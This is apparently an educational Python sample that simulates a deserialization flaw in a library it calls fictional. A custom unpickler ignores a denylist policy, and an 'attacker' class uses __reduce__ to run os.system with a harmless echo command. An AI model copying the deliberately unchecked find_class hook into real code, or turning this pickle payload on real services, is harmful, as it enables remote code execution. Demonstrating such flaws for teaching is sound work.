Vulnerable code sample

import pickle
import os
import io

# This code is a conceptual representation of a vulnerability similar to the
# one described. The library 'pyfory' and the CVE are fictional. This
# example uses Python's standard library to simulate the described flaw.

class DeserializationPolicy:
    """A user-defined policy meant to restrict dangerous classes/functions."""
    def __init__(self, denylist):
        # In a real scenario, this would be a more robust check.
        self.denied_names = {f"{item.__module__}.{item.__name__}" for item in denylist}

    def validate(self, module, name):
        """Checks if a class or function is allowed. This is the hook that will be bypassed."""
        if f"{module}.{name}" in self.denied_names:
            raise PermissionError(f"Deserialization of '{module}.{name}' is forbidden by policy.")

class ReduceSerializer:
    """A serializer that is vulnerable because it fails to use the policy correctly."""
    def __init__(self, stream, policy):
        self.stream = stream
        # The policy is accepted but will be ignored in the vulnerable path.
        self.policy = policy

    def load(self):
        # This custom Unpickler simulates the vulnerability.
        class VulnerableUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                # VULNERABILITY: The policy's validation hook is not called here.
                # The code proceeds to resolve the global name directly, bypassing
                # the security check that the user relies on. A fixed version
                # would call self.policy.validate(module, name) before proceeding.
                return super().find_class(module, name)

        # The vulnerable unpickler is used, which does not enforce the policy.
        unpickler = VulnerableUnpickler(self.stream)
        return unpickler.load()

def deserialize(data, policy=None, strict=False):
    """
    Simulates the vulnerable pyfory.deserialize function from before the fix.
    With strict=False, it uses the flawed ReduceSerializer.
    """
    if strict:
        # A non-vulnerable path would exist here, but we focus on the flawed one.
        raise NotImplementedError("Strict mode is not demonstrated.")
    
    # The application uses the vulnerable serializer, passing a policy that will be ignored.
    stream = io.BytesIO(data)
    return ReduceSerializer(stream, policy=policy).load()

# --- Attacker's Code ---
# The attacker creates a payload that executes a command upon deserialization.

class Exploit:
    def __reduce__(self):
        # The __reduce__ method is a hook used by pickle. It instructs the
        # unpickler to call a specific function (os.system) with arguments.
        command = "echo VULNERABLE: Remote code execution has occurred."
        return (os.system, (command,))

# The attacker serializes the malicious object.
malicious_payload = pickle.dumps(Exploit())


# --- Victim's Application Code ---
# The victim application attempts to safely deserialize data using a policy.

# 1. The user defines a policy to block dangerous functions like os.system.
security_policy = DeserializationPolicy(denylist=[os.system])

# 2. The application deserializes untrusted data with strict mode disabled,
#    believing the policy will protect it.
print("Attempting to deserialize attacker payload with a security policy...")
try:
    # The 'security_policy' is passed, but the vulnerability in ReduceSerializer
    # means its validation rules will be bypassed.
    deserialized_object = deserialize(
        malicious_payload, 
        policy=security_policy, 
        strict=False
    )
except Exception as e:
    print(f"Deserialization failed with an error: {e}")